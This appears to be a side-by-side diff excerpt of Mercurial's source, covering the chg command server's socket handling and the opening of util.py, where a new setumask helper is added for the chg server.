560 capabilities = commandserver.server.capabilities.copy()
560 capabilities = commandserver.server.capabilities.copy()
561 capabilities.update(
561 capabilities.update(
562 {
562 {
563 b'attachio': attachio,
563 b'attachio': attachio,
564 b'chdir': chdir,
564 b'chdir': chdir,
565 b'runcommand': runcommand,
565 b'runcommand': runcommand,
566 b'setenv': setenv,
566 b'setenv': setenv,
567 b'setumask': setumask,
567 b'setumask': setumask,
568 b'setumask2': setumask2,
568 b'setumask2': setumask2,
569 }
569 }
570 )
570 )
571
571
572 if util.safehasattr(procutil, b'setprocname'):
572 if util.safehasattr(procutil, b'setprocname'):
573
573
574 def setprocname(self):
574 def setprocname(self):
575 """Change process title"""
575 """Change process title"""
576 name = self._readstr()
576 name = self._readstr()
577 self.ui.log(b'chgserver', b'setprocname: %r\n', name)
577 self.ui.log(b'chgserver', b'setprocname: %r\n', name)
578 procutil.setprocname(name)
578 procutil.setprocname(name)
579
579
580 capabilities[b'setprocname'] = setprocname
580 capabilities[b'setprocname'] = setprocname
581
581
582
582
583 def _tempaddress(address):
583 def _tempaddress(address):
584 return b'%s.%d.tmp' % (address, os.getpid())
584 return b'%s.%d.tmp' % (address, os.getpid())
585
585
586
586
587 def _hashaddress(address, hashstr):
587 def _hashaddress(address, hashstr):
588 # if the basename of address contains '.', use only the left part. this
588 # if the basename of address contains '.', use only the left part. this
589 # makes it possible for the client to pass 'server.tmp$PID' and follow by
589 # makes it possible for the client to pass 'server.tmp$PID' and follow by
590 # an atomic rename to avoid locking when spawning new servers.
590 # an atomic rename to avoid locking when spawning new servers.
591 dirname, basename = os.path.split(address)
591 dirname, basename = os.path.split(address)
592 basename = basename.split(b'.', 1)[0]
592 basename = basename.split(b'.', 1)[0]
593 return b'%s-%s' % (os.path.join(dirname, basename), hashstr)
593 return b'%s-%s' % (os.path.join(dirname, basename), hashstr)
594
594
595
595
596 class chgunixservicehandler(object):
596 class chgunixservicehandler(object):
597 """Set of operations for chg services"""
597 """Set of operations for chg services"""
598
598
599 pollinterval = 1 # [sec]
599 pollinterval = 1 # [sec]
600
600
601 def __init__(self, ui):
601 def __init__(self, ui):
602 self.ui = ui
602 self.ui = ui
603 self._idletimeout = ui.configint(b'chgserver', b'idletimeout')
603 self._idletimeout = ui.configint(b'chgserver', b'idletimeout')
604 self._lastactive = time.time()
604 self._lastactive = time.time()
605
605
606 def bindsocket(self, sock, address):
606 def bindsocket(self, sock, address):
607 self._inithashstate(address)
607 self._inithashstate(address)
608 self._checkextensions()
608 self._checkextensions()
609 self._bind(sock)
609 self._bind(sock)
610 self._createsymlink()
610 self._createsymlink()
611 # no "listening at" message should be printed to simulate hg behavior
611 # no "listening at" message should be printed to simulate hg behavior
612
612
613 def _inithashstate(self, address):
613 def _inithashstate(self, address):
614 self._baseaddress = address
614 self._baseaddress = address
615 if self.ui.configbool(b'chgserver', b'skiphash'):
615 if self.ui.configbool(b'chgserver', b'skiphash'):
616 self._hashstate = None
616 self._hashstate = None
617 self._realaddress = address
617 self._realaddress = address
618 return
618 return
619 self._hashstate = hashstate.fromui(self.ui)
619 self._hashstate = hashstate.fromui(self.ui)
620 self._realaddress = _hashaddress(address, self._hashstate.confighash)
620 self._realaddress = _hashaddress(address, self._hashstate.confighash)
621
621
622 def _checkextensions(self):
622 def _checkextensions(self):
623 if not self._hashstate:
623 if not self._hashstate:
624 return
624 return
625 if extensions.notloaded():
625 if extensions.notloaded():
626 # one or more extensions failed to load. mtimehash becomes
626 # one or more extensions failed to load. mtimehash becomes
627 # meaningless because we do not know the paths of those extensions.
627 # meaningless because we do not know the paths of those extensions.
628 # set mtimehash to an illegal hash value to invalidate the server.
628 # set mtimehash to an illegal hash value to invalidate the server.
629 self._hashstate.mtimehash = b''
629 self._hashstate.mtimehash = b''
630
630
631 def _bind(self, sock):
631 def _bind(self, sock):
632 # use a unique temp address so we can stat the file and do ownership
632 # use a unique temp address so we can stat the file and do ownership
633 # check later
633 # check later
634 tempaddress = _tempaddress(self._realaddress)
634 tempaddress = _tempaddress(self._realaddress)
635 util.bindunixsocket(sock, tempaddress)
635 util.bindunixsocket(sock, tempaddress)
636 self._socketstat = os.stat(tempaddress)
636 self._socketstat = os.stat(tempaddress)
637 sock.listen(socket.SOMAXCONN)
637 sock.listen(socket.SOMAXCONN)
638 # rename will replace the old socket file if exists atomically. the
638 # rename will replace the old socket file if exists atomically. the
639 # old server will detect ownership change and exit.
639 # old server will detect ownership change and exit.
640 util.rename(tempaddress, self._realaddress)
640 util.rename(tempaddress, self._realaddress)
641
641
642 def _createsymlink(self):
642 def _createsymlink(self):
643 if self._baseaddress == self._realaddress:
643 if self._baseaddress == self._realaddress:
644 return
644 return
645 tempaddress = _tempaddress(self._baseaddress)
645 tempaddress = _tempaddress(self._baseaddress)
646 os.symlink(os.path.basename(self._realaddress), tempaddress)
646 os.symlink(os.path.basename(self._realaddress), tempaddress)
647 util.rename(tempaddress, self._baseaddress)
647 util.rename(tempaddress, self._baseaddress)
648
648
649 def _issocketowner(self):
649 def _issocketowner(self):
650 try:
650 try:
651 st = os.stat(self._realaddress)
651 st = os.stat(self._realaddress)
652 return (
652 return (
653 st.st_ino == self._socketstat.st_ino
653 st.st_ino == self._socketstat.st_ino
654 and st[stat.ST_MTIME] == self._socketstat[stat.ST_MTIME]
654 and st[stat.ST_MTIME] == self._socketstat[stat.ST_MTIME]
655 )
655 )
656 except OSError:
656 except OSError:
657 return False
657 return False
658
658
659 def unlinksocket(self, address):
659 def unlinksocket(self, address):
660 if not self._issocketowner():
660 if not self._issocketowner():
661 return
661 return
662 # it is possible to have a race condition here that we may
662 # it is possible to have a race condition here that we may
663 # remove another server's socket file. but that's okay
663 # remove another server's socket file. but that's okay
664 # since that server will detect and exit automatically and
664 # since that server will detect and exit automatically and
665 # the client will start a new server on demand.
665 # the client will start a new server on demand.
666 util.tryunlink(self._realaddress)
666 util.tryunlink(self._realaddress)
667
667
668 def shouldexit(self):
668 def shouldexit(self):
669 if not self._issocketowner():
669 if not self._issocketowner():
670 self.ui.log(
670 self.ui.log(
671 b'chgserver', b'%s is not owned, exiting.\n', self._realaddress
671 b'chgserver', b'%s is not owned, exiting.\n', self._realaddress
672 )
672 )
673 return True
673 return True
674 if time.time() - self._lastactive > self._idletimeout:
674 if time.time() - self._lastactive > self._idletimeout:
675 self.ui.log(b'chgserver', b'being idle too long. exiting.\n')
675 self.ui.log(b'chgserver', b'being idle too long. exiting.\n')
676 return True
676 return True
677 return False
677 return False
678
678
679 def newconnection(self):
679 def newconnection(self):
680 self._lastactive = time.time()
680 self._lastactive = time.time()
681
681
682 def createcmdserver(self, repo, conn, fin, fout, prereposetups):
682 def createcmdserver(self, repo, conn, fin, fout, prereposetups):
683 return chgcmdserver(
683 return chgcmdserver(
684 self.ui,
684 self.ui,
685 repo,
685 repo,
686 fin,
686 fin,
687 fout,
687 fout,
688 conn,
688 conn,
689 prereposetups,
689 prereposetups,
690 self._hashstate,
690 self._hashstate,
691 self._baseaddress,
691 self._baseaddress,
692 )
692 )
693
693
694
694
695 def chgunixservice(ui, repo, opts):
695 def chgunixservice(ui, repo, opts):
696 # CHGINTERNALMARK is set by chg client. It is an indication of things are
696 # CHGINTERNALMARK is set by chg client. It is an indication of things are
697 # started by chg so other code can do things accordingly, like disabling
697 # started by chg so other code can do things accordingly, like disabling
698 # demandimport or detecting chg client started by chg client. When executed
698 # demandimport or detecting chg client started by chg client. When executed
699 # here, CHGINTERNALMARK is no longer useful and hence dropped to make
699 # here, CHGINTERNALMARK is no longer useful and hence dropped to make
700 # environ cleaner.
700 # environ cleaner.
701 if b'CHGINTERNALMARK' in encoding.environ:
701 if b'CHGINTERNALMARK' in encoding.environ:
702 del encoding.environ[b'CHGINTERNALMARK']
702 del encoding.environ[b'CHGINTERNALMARK']
703 # Python3.7+ "coerces" the LC_CTYPE environment variable to a UTF-8 one if
703 # Python3.7+ "coerces" the LC_CTYPE environment variable to a UTF-8 one if
704 # it thinks the current value is "C". This breaks the hash computation and
704 # it thinks the current value is "C". This breaks the hash computation and
705 # causes chg to restart loop.
705 # causes chg to restart loop.
706 if b'CHGORIG_LC_CTYPE' in encoding.environ:
706 if b'CHGORIG_LC_CTYPE' in encoding.environ:
707 encoding.environ[b'LC_CTYPE'] = encoding.environ[b'CHGORIG_LC_CTYPE']
707 encoding.environ[b'LC_CTYPE'] = encoding.environ[b'CHGORIG_LC_CTYPE']
708 del encoding.environ[b'CHGORIG_LC_CTYPE']
708 del encoding.environ[b'CHGORIG_LC_CTYPE']
709 elif b'CHG_CLEAR_LC_CTYPE' in encoding.environ:
709 elif b'CHG_CLEAR_LC_CTYPE' in encoding.environ:
710 if b'LC_CTYPE' in encoding.environ:
710 if b'LC_CTYPE' in encoding.environ:
711 del encoding.environ[b'LC_CTYPE']
711 del encoding.environ[b'LC_CTYPE']
712 del encoding.environ[b'CHG_CLEAR_LC_CTYPE']
712 del encoding.environ[b'CHG_CLEAR_LC_CTYPE']
713
713
714 if repo:
714 if repo:
715 # one chgserver can serve multiple repos. drop repo information
715 # one chgserver can serve multiple repos. drop repo information
716 ui.setconfig(b'bundle', b'mainreporoot', b'', b'repo')
716 ui.setconfig(b'bundle', b'mainreporoot', b'', b'repo')
717 h = chgunixservicehandler(ui)
717 h = chgunixservicehandler(ui)
718 return commandserver.unixforkingservice(ui, repo=None, opts=opts, handler=h)
718 return commandserver.unixforkingservice(ui, repo=None, opts=opts, handler=h)
@@ -1,3618 +1,3628 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 hashutil,
56 hashutil,
57 procutil,
57 procutil,
58 stringutil,
58 stringutil,
59 )
59 )
60
60
61 base85 = policy.importmod('base85')
61 base85 = policy.importmod('base85')
62 osutil = policy.importmod('osutil')
62 osutil = policy.importmod('osutil')
63
63
64 b85decode = base85.b85decode
64 b85decode = base85.b85decode
65 b85encode = base85.b85encode
65 b85encode = base85.b85encode
66
66
67 cookielib = pycompat.cookielib
67 cookielib = pycompat.cookielib
68 httplib = pycompat.httplib
68 httplib = pycompat.httplib
69 pickle = pycompat.pickle
69 pickle = pycompat.pickle
70 safehasattr = pycompat.safehasattr
70 safehasattr = pycompat.safehasattr
71 socketserver = pycompat.socketserver
71 socketserver = pycompat.socketserver
72 bytesio = pycompat.bytesio
72 bytesio = pycompat.bytesio
73 # TODO deprecate stringio name, as it is a lie on Python 3.
73 # TODO deprecate stringio name, as it is a lie on Python 3.
74 stringio = bytesio
74 stringio = bytesio
75 xmlrpclib = pycompat.xmlrpclib
75 xmlrpclib = pycompat.xmlrpclib
76
76
77 httpserver = urllibcompat.httpserver
77 httpserver = urllibcompat.httpserver
78 urlerr = urllibcompat.urlerr
78 urlerr = urllibcompat.urlerr
79 urlreq = urllibcompat.urlreq
79 urlreq = urllibcompat.urlreq
80
80
81 # workaround for win32mbcs
81 # workaround for win32mbcs
82 _filenamebytestr = pycompat.bytestr
82 _filenamebytestr = pycompat.bytestr
83
83
84 if pycompat.iswindows:
84 if pycompat.iswindows:
85 from . import windows as platform
85 from . import windows as platform
86 else:
86 else:
87 from . import posix as platform
87 from . import posix as platform
88
88
89 _ = i18n._
89 _ = i18n._
90
90
91 bindunixsocket = platform.bindunixsocket
91 bindunixsocket = platform.bindunixsocket
92 cachestat = platform.cachestat
92 cachestat = platform.cachestat
93 checkexec = platform.checkexec
93 checkexec = platform.checkexec
94 checklink = platform.checklink
94 checklink = platform.checklink
95 copymode = platform.copymode
95 copymode = platform.copymode
96 expandglobs = platform.expandglobs
96 expandglobs = platform.expandglobs
97 getfsmountpoint = platform.getfsmountpoint
97 getfsmountpoint = platform.getfsmountpoint
98 getfstype = platform.getfstype
98 getfstype = platform.getfstype
99 groupmembers = platform.groupmembers
99 groupmembers = platform.groupmembers
100 groupname = platform.groupname
100 groupname = platform.groupname
101 isexec = platform.isexec
101 isexec = platform.isexec
102 isowner = platform.isowner
102 isowner = platform.isowner
103 listdir = osutil.listdir
103 listdir = osutil.listdir
104 localpath = platform.localpath
104 localpath = platform.localpath
105 lookupreg = platform.lookupreg
105 lookupreg = platform.lookupreg
106 makedir = platform.makedir
106 makedir = platform.makedir
107 nlinks = platform.nlinks
107 nlinks = platform.nlinks
108 normpath = platform.normpath
108 normpath = platform.normpath
109 normcase = platform.normcase
109 normcase = platform.normcase
110 normcasespec = platform.normcasespec
110 normcasespec = platform.normcasespec
111 normcasefallback = platform.normcasefallback
111 normcasefallback = platform.normcasefallback
112 openhardlinks = platform.openhardlinks
112 openhardlinks = platform.openhardlinks
113 oslink = platform.oslink
113 oslink = platform.oslink
114 parsepatchoutput = platform.parsepatchoutput
114 parsepatchoutput = platform.parsepatchoutput
115 pconvert = platform.pconvert
115 pconvert = platform.pconvert
116 poll = platform.poll
116 poll = platform.poll
117 posixfile = platform.posixfile
117 posixfile = platform.posixfile
118 readlink = platform.readlink
118 readlink = platform.readlink
119 rename = platform.rename
119 rename = platform.rename
120 removedirs = platform.removedirs
120 removedirs = platform.removedirs
121 samedevice = platform.samedevice
121 samedevice = platform.samedevice
122 samefile = platform.samefile
122 samefile = platform.samefile
123 samestat = platform.samestat
123 samestat = platform.samestat
124 setflags = platform.setflags
124 setflags = platform.setflags
125 split = platform.split
125 split = platform.split
126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
127 statisexec = platform.statisexec
127 statisexec = platform.statisexec
128 statislink = platform.statislink
128 statislink = platform.statislink
129 umask = platform.umask
129 umask = platform.umask
130 unlink = platform.unlink
130 unlink = platform.unlink
131 username = platform.username
131 username = platform.username
132
132
133
134 def setumask(val):
135 ''' updates the umask. used by chg server '''
136 if pycompat.iswindows:
137 return
138 os.umask(val)
139 global umask
140 platform.umask = umask = val & 0o777
141
142
133 # small compat layer
143 # small compat layer
134 compengines = compression.compengines
144 compengines = compression.compengines
135 SERVERROLE = compression.SERVERROLE
145 SERVERROLE = compression.SERVERROLE
136 CLIENTROLE = compression.CLIENTROLE
146 CLIENTROLE = compression.CLIENTROLE
137
147
138 try:
148 try:
139 recvfds = osutil.recvfds
149 recvfds = osutil.recvfds
140 except AttributeError:
150 except AttributeError:
141 pass
151 pass
142
152
143 # Python compatibility
153 # Python compatibility
144
154
145 _notset = object()
155 _notset = object()
146
156
147
157
148 def bitsfrom(container):
158 def bitsfrom(container):
149 bits = 0
159 bits = 0
150 for bit in container:
160 for bit in container:
151 bits |= bit
161 bits |= bit
152 return bits
162 return bits
153
163
154
164
155 # python 2.6 still have deprecation warning enabled by default. We do not want
165 # python 2.6 still have deprecation warning enabled by default. We do not want
156 # to display anything to standard user so detect if we are running test and
166 # to display anything to standard user so detect if we are running test and
157 # only use python deprecation warning in this case.
167 # only use python deprecation warning in this case.
158 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
168 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
159 if _dowarn:
169 if _dowarn:
160 # explicitly unfilter our warning for python 2.7
170 # explicitly unfilter our warning for python 2.7
161 #
171 #
162 # The option of setting PYTHONWARNINGS in the test runner was investigated.
172 # The option of setting PYTHONWARNINGS in the test runner was investigated.
163 # However, module name set through PYTHONWARNINGS was exactly matched, so
173 # However, module name set through PYTHONWARNINGS was exactly matched, so
164 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
174 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
165 # makes the whole PYTHONWARNINGS thing useless for our usecase.
175 # makes the whole PYTHONWARNINGS thing useless for our usecase.
166 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
176 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
177 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
168 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
169 if _dowarn and pycompat.ispy3:
179 if _dowarn and pycompat.ispy3:
170 # silence warning emitted by passing user string to re.sub()
180 # silence warning emitted by passing user string to re.sub()
171 warnings.filterwarnings(
181 warnings.filterwarnings(
172 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
182 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
173 )
183 )
174 warnings.filterwarnings(
184 warnings.filterwarnings(
175 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
185 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
176 )
186 )
177 # TODO: reinvent imp.is_frozen()
187 # TODO: reinvent imp.is_frozen()
178 warnings.filterwarnings(
188 warnings.filterwarnings(
179 'ignore',
189 'ignore',
180 'the imp module is deprecated',
190 'the imp module is deprecated',
181 DeprecationWarning,
191 DeprecationWarning,
182 'mercurial',
192 'mercurial',
183 )
193 )
184
194
185
195
186 def nouideprecwarn(msg, version, stacklevel=1):
196 def nouideprecwarn(msg, version, stacklevel=1):
187 """Issue an python native deprecation warning
197 """Issue an python native deprecation warning
188
198
189 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
190 """
200 """
191 if _dowarn:
201 if _dowarn:
192 msg += (
202 msg += (
193 b"\n(compatibility will be dropped after Mercurial-%s,"
203 b"\n(compatibility will be dropped after Mercurial-%s,"
194 b" update your code.)"
204 b" update your code.)"
195 ) % version
205 ) % version
196 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
197
207
198
208
199 DIGESTS = {
209 DIGESTS = {
200 b'md5': hashlib.md5,
210 b'md5': hashlib.md5,
201 b'sha1': hashutil.sha1,
211 b'sha1': hashutil.sha1,
202 b'sha512': hashlib.sha512,
212 b'sha512': hashlib.sha512,
203 }
213 }
204 # List of digest types from strongest to weakest
214 # List of digest types from strongest to weakest
205 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
215 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
206
216
207 for k in DIGESTS_BY_STRENGTH:
217 for k in DIGESTS_BY_STRENGTH:
208 assert k in DIGESTS
218 assert k in DIGESTS
209
219
210
220
211 class digester(object):
221 class digester(object):
212 """helper to compute digests.
222 """helper to compute digests.
213
223
214 This helper can be used to compute one or more digests given their name.
224 This helper can be used to compute one or more digests given their name.
215
225
216 >>> d = digester([b'md5', b'sha1'])
226 >>> d = digester([b'md5', b'sha1'])
217 >>> d.update(b'foo')
227 >>> d.update(b'foo')
218 >>> [k for k in sorted(d)]
228 >>> [k for k in sorted(d)]
219 ['md5', 'sha1']
229 ['md5', 'sha1']
220 >>> d[b'md5']
230 >>> d[b'md5']
221 'acbd18db4cc2f85cedef654fccc4a4d8'
231 'acbd18db4cc2f85cedef654fccc4a4d8'
222 >>> d[b'sha1']
232 >>> d[b'sha1']
223 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
233 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
224 >>> digester.preferred([b'md5', b'sha1'])
234 >>> digester.preferred([b'md5', b'sha1'])
225 'sha1'
235 'sha1'
226 """
236 """
227
237
228 def __init__(self, digests, s=b''):
238 def __init__(self, digests, s=b''):
229 self._hashes = {}
239 self._hashes = {}
230 for k in digests:
240 for k in digests:
231 if k not in DIGESTS:
241 if k not in DIGESTS:
232 raise error.Abort(_(b'unknown digest type: %s') % k)
242 raise error.Abort(_(b'unknown digest type: %s') % k)
233 self._hashes[k] = DIGESTS[k]()
243 self._hashes[k] = DIGESTS[k]()
234 if s:
244 if s:
235 self.update(s)
245 self.update(s)
236
246
237 def update(self, data):
247 def update(self, data):
238 for h in self._hashes.values():
248 for h in self._hashes.values():
239 h.update(data)
249 h.update(data)
240
250
241 def __getitem__(self, key):
251 def __getitem__(self, key):
242 if key not in DIGESTS:
252 if key not in DIGESTS:
243 raise error.Abort(_(b'unknown digest type: %s') % k)
253 raise error.Abort(_(b'unknown digest type: %s') % k)
244 return nodemod.hex(self._hashes[key].digest())
254 return nodemod.hex(self._hashes[key].digest())
245
255
246 def __iter__(self):
256 def __iter__(self):
247 return iter(self._hashes)
257 return iter(self._hashes)
248
258
249 @staticmethod
259 @staticmethod
250 def preferred(supported):
260 def preferred(supported):
251 """returns the strongest digest type in both supported and DIGESTS."""
261 """returns the strongest digest type in both supported and DIGESTS."""
252
262
253 for k in DIGESTS_BY_STRENGTH:
263 for k in DIGESTS_BY_STRENGTH:
254 if k in supported:
264 if k in supported:
255 return k
265 return k
256 return None
266 return None
257
267
258
268
259 class digestchecker(object):
269 class digestchecker(object):
260 """file handle wrapper that additionally checks content against a given
270 """file handle wrapper that additionally checks content against a given
261 size and digests.
271 size and digests.
262
272
263 d = digestchecker(fh, size, {'md5': '...'})
273 d = digestchecker(fh, size, {'md5': '...'})
264
274
265 When multiple digests are given, all of them are validated.
275 When multiple digests are given, all of them are validated.
266 """
276 """
267
277
268 def __init__(self, fh, size, digests):
278 def __init__(self, fh, size, digests):
269 self._fh = fh
279 self._fh = fh
270 self._size = size
280 self._size = size
271 self._got = 0
281 self._got = 0
272 self._digests = dict(digests)
282 self._digests = dict(digests)
273 self._digester = digester(self._digests.keys())
283 self._digester = digester(self._digests.keys())
274
284
275 def read(self, length=-1):
285 def read(self, length=-1):
276 content = self._fh.read(length)
286 content = self._fh.read(length)
277 self._digester.update(content)
287 self._digester.update(content)
278 self._got += len(content)
288 self._got += len(content)
279 return content
289 return content
280
290
281 def validate(self):
291 def validate(self):
282 if self._size != self._got:
292 if self._size != self._got:
283 raise error.Abort(
293 raise error.Abort(
284 _(b'size mismatch: expected %d, got %d')
294 _(b'size mismatch: expected %d, got %d')
285 % (self._size, self._got)
295 % (self._size, self._got)
286 )
296 )
287 for k, v in self._digests.items():
297 for k, v in self._digests.items():
288 if v != self._digester[k]:
298 if v != self._digester[k]:
289 # i18n: first parameter is a digest name
299 # i18n: first parameter is a digest name
290 raise error.Abort(
300 raise error.Abort(
291 _(b'%s mismatch: expected %s, got %s')
301 _(b'%s mismatch: expected %s, got %s')
292 % (k, v, self._digester[k])
302 % (k, v, self._digester[k])
293 )
303 )
294
304
295
305
296 try:
306 try:
297 buffer = buffer
307 buffer = buffer
298 except NameError:
308 except NameError:
299
309
300 def buffer(sliceable, offset=0, length=None):
310 def buffer(sliceable, offset=0, length=None):
301 if length is not None:
311 if length is not None:
302 return memoryview(sliceable)[offset : offset + length]
312 return memoryview(sliceable)[offset : offset + length]
303 return memoryview(sliceable)[offset:]
313 return memoryview(sliceable)[offset:]
304
314
305
315
306 _chunksize = 4096
316 _chunksize = 4096
307
317
308
318
309 class bufferedinputpipe(object):
319 class bufferedinputpipe(object):
310 """a manually buffered input pipe
320 """a manually buffered input pipe
311
321
312 Python will not let us use buffered IO and lazy reading with 'polling' at
322 Python will not let us use buffered IO and lazy reading with 'polling' at
313 the same time. We cannot probe the buffer state and select will not detect
323 the same time. We cannot probe the buffer state and select will not detect
314 that data are ready to read if they are already buffered.
324 that data are ready to read if they are already buffered.
315
325
316 This class let us work around that by implementing its own buffering
326 This class let us work around that by implementing its own buffering
317 (allowing efficient readline) while offering a way to know if the buffer is
327 (allowing efficient readline) while offering a way to know if the buffer is
318 empty from the output (allowing collaboration of the buffer with polling).
328 empty from the output (allowing collaboration of the buffer with polling).
319
329
320 This class lives in the 'util' module because it makes use of the 'os'
330 This class lives in the 'util' module because it makes use of the 'os'
321 module from the python stdlib.
331 module from the python stdlib.
322 """
332 """
323
333
324 def __new__(cls, fh):
334 def __new__(cls, fh):
325 # If we receive a fileobjectproxy, we need to use a variation of this
335 # If we receive a fileobjectproxy, we need to use a variation of this
326 # class that notifies observers about activity.
336 # class that notifies observers about activity.
327 if isinstance(fh, fileobjectproxy):
337 if isinstance(fh, fileobjectproxy):
328 cls = observedbufferedinputpipe
338 cls = observedbufferedinputpipe
329
339
330 return super(bufferedinputpipe, cls).__new__(cls)
340 return super(bufferedinputpipe, cls).__new__(cls)
331
341
332 def __init__(self, input):
342 def __init__(self, input):
333 self._input = input
343 self._input = input
334 self._buffer = []
344 self._buffer = []
335 self._eof = False
345 self._eof = False
336 self._lenbuf = 0
346 self._lenbuf = 0
337
347
338 @property
348 @property
339 def hasbuffer(self):
349 def hasbuffer(self):
340 """True is any data is currently buffered
350 """True is any data is currently buffered
341
351
342 This will be used externally a pre-step for polling IO. If there is
352 This will be used externally a pre-step for polling IO. If there is
343 already data then no polling should be set in place."""
353 already data then no polling should be set in place."""
344 return bool(self._buffer)
354 return bool(self._buffer)
345
355
346 @property
356 @property
347 def closed(self):
357 def closed(self):
348 return self._input.closed
358 return self._input.closed
349
359
350 def fileno(self):
360 def fileno(self):
351 return self._input.fileno()
361 return self._input.fileno()
352
362
353 def close(self):
363 def close(self):
354 return self._input.close()
364 return self._input.close()
355
365
356 def read(self, size):
366 def read(self, size):
357 while (not self._eof) and (self._lenbuf < size):
367 while (not self._eof) and (self._lenbuf < size):
358 self._fillbuffer()
368 self._fillbuffer()
359 return self._frombuffer(size)
369 return self._frombuffer(size)
360
370
361 def unbufferedread(self, size):
371 def unbufferedread(self, size):
362 if not self._eof and self._lenbuf == 0:
372 if not self._eof and self._lenbuf == 0:
363 self._fillbuffer(max(size, _chunksize))
373 self._fillbuffer(max(size, _chunksize))
364 return self._frombuffer(min(self._lenbuf, size))
374 return self._frombuffer(min(self._lenbuf, size))
365
375
366 def readline(self, *args, **kwargs):
376 def readline(self, *args, **kwargs):
367 if len(self._buffer) > 1:
377 if len(self._buffer) > 1:
368 # this should not happen because both read and readline end with a
378 # this should not happen because both read and readline end with a
369 # _frombuffer call that collapse it.
379 # _frombuffer call that collapse it.
370 self._buffer = [b''.join(self._buffer)]
380 self._buffer = [b''.join(self._buffer)]
371 self._lenbuf = len(self._buffer[0])
381 self._lenbuf = len(self._buffer[0])
372 lfi = -1
382 lfi = -1
373 if self._buffer:
383 if self._buffer:
374 lfi = self._buffer[-1].find(b'\n')
384 lfi = self._buffer[-1].find(b'\n')
375 while (not self._eof) and lfi < 0:
385 while (not self._eof) and lfi < 0:
376 self._fillbuffer()
386 self._fillbuffer()
377 if self._buffer:
387 if self._buffer:
378 lfi = self._buffer[-1].find(b'\n')
388 lfi = self._buffer[-1].find(b'\n')
379 size = lfi + 1
389 size = lfi + 1
380 if lfi < 0: # end of file
390 if lfi < 0: # end of file
381 size = self._lenbuf
391 size = self._lenbuf
382 elif len(self._buffer) > 1:
392 elif len(self._buffer) > 1:
383 # we need to take previous chunks into account
393 # we need to take previous chunks into account
384 size += self._lenbuf - len(self._buffer[-1])
394 size += self._lenbuf - len(self._buffer[-1])
385 return self._frombuffer(size)
395 return self._frombuffer(size)
386
396
387 def _frombuffer(self, size):
397 def _frombuffer(self, size):
388 """return at most 'size' data from the buffer
398 """return at most 'size' data from the buffer
389
399
390 The data are removed from the buffer."""
400 The data are removed from the buffer."""
391 if size == 0 or not self._buffer:
401 if size == 0 or not self._buffer:
392 return b''
402 return b''
393 buf = self._buffer[0]
403 buf = self._buffer[0]
394 if len(self._buffer) > 1:
404 if len(self._buffer) > 1:
395 buf = b''.join(self._buffer)
405 buf = b''.join(self._buffer)
396
406
397 data = buf[:size]
407 data = buf[:size]
398 buf = buf[len(data) :]
408 buf = buf[len(data) :]
399 if buf:
409 if buf:
400 self._buffer = [buf]
410 self._buffer = [buf]
401 self._lenbuf = len(buf)
411 self._lenbuf = len(buf)
402 else:
412 else:
403 self._buffer = []
413 self._buffer = []
404 self._lenbuf = 0
414 self._lenbuf = 0
405 return data
415 return data
406
416
